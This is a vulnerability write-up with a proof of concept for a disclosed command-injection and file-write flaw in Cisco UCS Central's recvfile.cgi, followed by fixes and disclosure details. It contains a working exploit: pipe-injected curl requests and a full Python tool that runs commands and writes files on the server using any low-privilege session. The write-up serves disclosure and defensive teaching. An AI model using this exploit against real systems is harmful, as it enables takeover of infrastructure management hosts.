Cisco UCS Central: when a pipe in the path was enough for RCE
UCS Central is the box that manages the other boxes. It is the single control plane for an organisation's UCS compute domains — the place where server profiles, firmware policies and backups live. So when I was handed one to test, the question I actually cared about was simple: can a low-privilege login turn into code running on this host? It could. One path segment and one lazy open() were the whole story.
id, hostname, uname) and a single self-removed marker file.
Reading the web tier
The front end is Apache with a custom Cisco module, mod_nuova, dispatching to a pile of Perl CGI scripts under /opt/apache/operations. You can pull the whole lot straight out of the product package (core-2.1.2-a.x86_64.rpm) and read it offline, which is what I did. When you are hunting for RCE in old Perl CGI, you are really hunting for one thing: a user-controlled value reaching a dangerous sink without a wash in between.
The sink that matters here is Perl's two-argument open(). It is one of those footguns the language has carried for decades: if the filename you hand it starts with a |, Perl treats the rest as a shell command and runs it. If it starts with >, you get a write. So the job was to find a two-arg open() whose path comes from the request. recvfile.cgi obliged.
The bug
The endpoint /operations/file-<X>/recvfile.txt is served by recvfile.cgi. It carves the <X> out of the raw request URI and uses it, untouched, as the path for two separate open() calls. Verbatim, the relevant lines:
if ($ENV{REQUEST_URI} =~ /\/operations\/file-(.*)\/recvfile\.txt/) {
$file = $1; # (1) taken straight from the URL — NO sanitisation
}
...
open(INF, "$file"); # (2) leading "|" -> command pipe (CWE-78)
open(OUTF, ">$file"); # (3) ">" + path -> arbitrary file write (CWE-73/22)
while (read(STDIN,$buffer,65536) and print OUTF $buffer) { ... } # body -> file
That is two primitives out of one mistake. A path beginning with | runs a shell command and streams its stdout back in the HTTP response. The same value drives open(OUTF, ">$file"), so you can also create or overwrite any file the web user can reach, with the request body as its contents. The write primitive is the quieter but nastier of the two — drop a cron job, an SSH key, or a preload library and you have persistence that does not depend on the output channel at all.
What makes this one almost funny is that the developers clearly knew the value was dangerous. The sibling upload handlers — recvimage.cgi, importconfig.cgi, recvimagechunk.cgi — capture the identical URL segment and scrub it with an allow-list before use:
$file =~ s/[^a-zA-Z0-9_.-]//g; # recvimage.cgi / importconfig.cgi / recvimagechunk.cgi
recvfile.cgi and sendfile.cgi just... don't. Same codebase, same author, same dangerous value — two scripts missed the one line that would have closed it. That is the entire vulnerability.
Any session will do
You might hope a sink like this is at least behind an admin wall. It isn't. The /operations/* tree is gated by the mod_nuova sam-cgi handler, and that handler checks exactly one thing: that a session cookie is present and valid. It never looks at the role attached to the session. So a read-only operator — the lowest tier the product has, the kind of account you hand to a monitoring integration without a second thought — reaches the command-execution sink and runs code as the daemon service account. That is the privilege-escalation and trust-boundary break, not some benign post-auth footnote.
Proof of concept
The whole exploit is three requests. Authenticate to the XML API for a cookie, confirm the cookie is what gates access, then put a | in the path. One subtlety: raw spaces break the HTTP request line, so multi-word commands use ${IFS} as the separator.
# 1) grab a session cookie (any role — read-only is fine)
TOK=$(curl -k -s -X POST "https://ucs-central.lab/xmlIM/" \
-H "Content-Type: application/xml" \
--data '<aaaLogin inName="operator" inPassword="PASS"/>' \
| grep -o 'outCookie="[^"]*"' | cut -d'"' -f2)
# 2) execute commands — output is reflected in the response
curl -gk -s -H "Cookie: ucsm-cookie=$TOK" --path-as-is \
"https://ucs-central.lab/operations/file-|id;hostname;date;uname/recvfile.txt"
# 3) negative control — same request with no cookie returns HTTP 401
I wrapped the flow in a small standard-library Python tool so it is repeatable — it authenticates, then either runs a command or writes a file and verifies it. It uses a raw http.client transport on purpose: the requests stack percent-encodes | to %7C and quietly breaks the whole thing.
Full PoC source poc_recvfile_rce.py
#!/usr/bin/env python3
"""
poc_recvfile_rce.py — Cisco UCS Central 2.1(2a) recvfile.cgi
OS command injection / arbitrary file write -> RCE (CVE-2026-76506)
open(INF, "$file"); # leading "|" => command pipe (RCE)
open(OUTF, ">$file"); # ">" + path => arbitrary file write
/operations/* is gated by mod_nuova "sam-cgi", which only checks for a
valid session cookie — NO role check — so ANY account (read-only incl.)
reaches the sink as the 'daemon' service user. For authorised testing.
"""
import argparse, http.client, re, ssl, sys
from urllib.parse import urlparse
# raw transport: the request-line path is sent VERBATIM so "|", ";", "${IFS}"
# reach the server un-encoded (requests/urllib3 would percent-encode "|").
_CTX = ssl._create_unverified_context()
def _conn(target):
u = urlparse(target)
port = u.port or (443 if u.scheme == "https" else 80)
if u.scheme == "https":
return http.client.HTTPSConnection(u.hostname, port, context=_CTX, timeout=20)
return http.client.HTTPConnection(u.hostname, port, timeout=20)
def _send(target, method, path, headers=None, body=None):
c = _conn(target)
c.request(method, path, body=body, headers=headers or {})
r = c.getresponse(); data = r.read().decode("utf-8", "replace"); c.close()
return r.status, data
def login(target, user, password):
"""Authenticate via the XML API and return the ucsm-cookie token."""
_, text = _send(target, "POST", "/xmlIM/",
{"Content-Type": "application/xml"},
f'<aaaLogin inName="{user}" inPassword="{password}"/>')
m = re.search(r'outCookie="([^"]+)"', text)
if not m or not m.group(1):
err = re.search(r'errorDescr="([^"]*)"', text)
raise SystemExit(f"[-] login failed: {err.group(1) if err else text[:200]}")
return m.group(1)
def run_cmd(target, cookie, command):
"""Execute an OS command via the 2-arg open() pipe; return stdout."""
payload = "|" + command.replace(" ", "${IFS}")
path = f"/operations/file-{payload}/recvfile.txt"
_, body = _send(target, "GET", path, {"Cookie": f"ucsm-cookie={cookie}"})
return body[2:] if body.startswith("OK") else body
def write_file(target, cookie, path_on_disk, data):
"""Write attacker-controlled content to an attacker-controlled path."""
path = f"/operations/file-{path_on_disk}/recvfile.txt"
_, body = _send(target, "POST", path, {"Cookie": f"ucsm-cookie={cookie}"}, data)
return body
def main():
ap = argparse.ArgumentParser(description="Cisco UCS Central recvfile.cgi RCE PoC (CVE-2026-76506)")
ap.add_argument("-t", "--target", required=True, help="https://host")
ap.add_argument("-u", "--user", required=True)
ap.add_argument("-p", "--password", required=True)
ap.add_argument("-c", "--cmd", help="OS command to execute")
ap.add_argument("--write-path", help="absolute path to write")
ap.add_argument("--write-data", default="", help="content to write")
args = ap.parse_args()
target = args.target.rstrip("/")
print(f"[*] authenticating to {target} as {args.user}")
cookie = login(target, args.user, args.password)
print(f"[+] session: {cookie}")
if args.cmd:
print(f"[*] executing: {args.cmd}")
print("[+] output:\n" + run_cmd(target, cookie, args.cmd))
if args.write_path:
print(f"[*] writing {len(args.write_data)} bytes to {args.write_path}")
resp = write_file(target, cookie, args.write_path, args.write_data)
print(f"[+] server responded: {resp.strip()!r}")
print(f"[+] verify: {run_cmd(target, cookie, f'ls -l {args.write_path}').strip()}")
if not args.cmd and not args.write_path:
print("[!] nothing to do; pass --cmd or --write-path"); sys.exit(1)
if __name__ == "__main__":
main()
Live proof
Authenticate, confirm the 401 wall, then run four commands server-side. The response comes back with uid=2(daemon) — code running as the Apache service account, from an operator login:
$ python3 poc_recvfile_rce.py -t https://ucs-central.lab -u operator -p '••••••' \
-c 'id;hostname;date;uname'
[*] authenticating to https://ucs-central.lab as operator
[+] session: 1780990776/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
[*] executing: id;hostname;date;uname
[+] output:
uid=2(daemon) gid=2(daemon) groups=2(daemon) context=system_u:system_r:initrc_t:s0
ucs-central.lab
Tue Jun 9 07:39:15 UTC 2026
Linux
And the arbitrary-write primitive, writing an attacker-named file and reading it back off disk, owned by daemon — the hook you would hang persistence from:
$ python3 poc_recvfile_rce.py -t https://ucs-central.lab -u operator -p '••••••' \
--write-path /tmp/poc.txt --write-data 'owned by zerohuntlabs'
[*] writing 21 bytes to /tmp/poc.txt
[+] server responded: 'OK'
[+] verify: -rw-r--r-- 1 daemon daemon 21 Jun 9 07:40 /tmp/poc.txt
Why it matters
UCS Central is not just another appliance; it is the management plane. Command execution on this host means an attacker inherits its stored credentials and its reach into every registered UCS domain and the servers underneath them. From there you can read or rewrite server profiles, firmware policies and backups — a direct hit on the integrity and availability of production compute — and you get a durable, privileged foothold inside the data-centre trust boundary. The entry ticket for all of that is one low-privilege operator cookie: a compromised read-only credential, or an over-shared monitoring login.
Fixing it
The clean fix is the boring one: use three-argument open() with an explicit mode, which strips all pipe and redirect interpretation.
open(my $fh, '<', $file) or die $!; # read — no "|" magic
open(my $fh, '>', $file) or die $!; # write — ">" is literal
Beyond that: apply the same allow-list the sibling scripts already use and reject any component with /, .. or shell metacharacters; canonicalise and confine writes to the intended upload directory; make mod_nuova enforce a real role check on /operations/* so file operations are not handed to read-only sessions; and audit every other CGI for the same two-arg open() pattern, because where there are two there are usually three.
Disclosure
I reported this to Cisco PSIRT. Cisco confirmed it, assigned CVE-2026-76506, and published advisory cisco-sa-cucs-rce-LzHSFRDQ on 4 November 2026, rating it High (CVSS 7.6). The fix ships in Cisco UCS Central 2.1(2c); 2.0 and earlier are affected and need to migrate to a fixed release, and there is no workaround. Cisco credited the finding to me, Anand Murugan of Gulf Business Machines (GBM). If you still have 2.1(2a) or earlier in the field, this is a patch-now.
My own assessment rated it a touch higher (CVSS 8.8), mostly because command execution plus arbitrary write on the management plane reads as a full confidentiality/integrity/availability hit to me rather than a partial one. Reasonable people score the impact metrics differently; either way it lands firmly in High, and the remediation is the same.
What I took away
Two-argument open() is a 30-year-old footgun and it is still out there in shipping enterprise software, one s/// away from being safe. The tell wasn't clever — it was noticing that three scripts scrubbed the input and two didn't. When you find a sanitiser, the useful question is always the same: where doesn't it run? That gap is usually the finding.
Cisco, UCS and UCS Central are mentioned here for technical discussion and are trademarks of their respective owner; this site is not affiliated with Cisco. The work described was carried out under authorisation against a target the author was permitted to test, and concerns a vulnerability that is publicly disclosed and fixed. Nothing here is a license to test systems you do not own or have explicit permission to assess.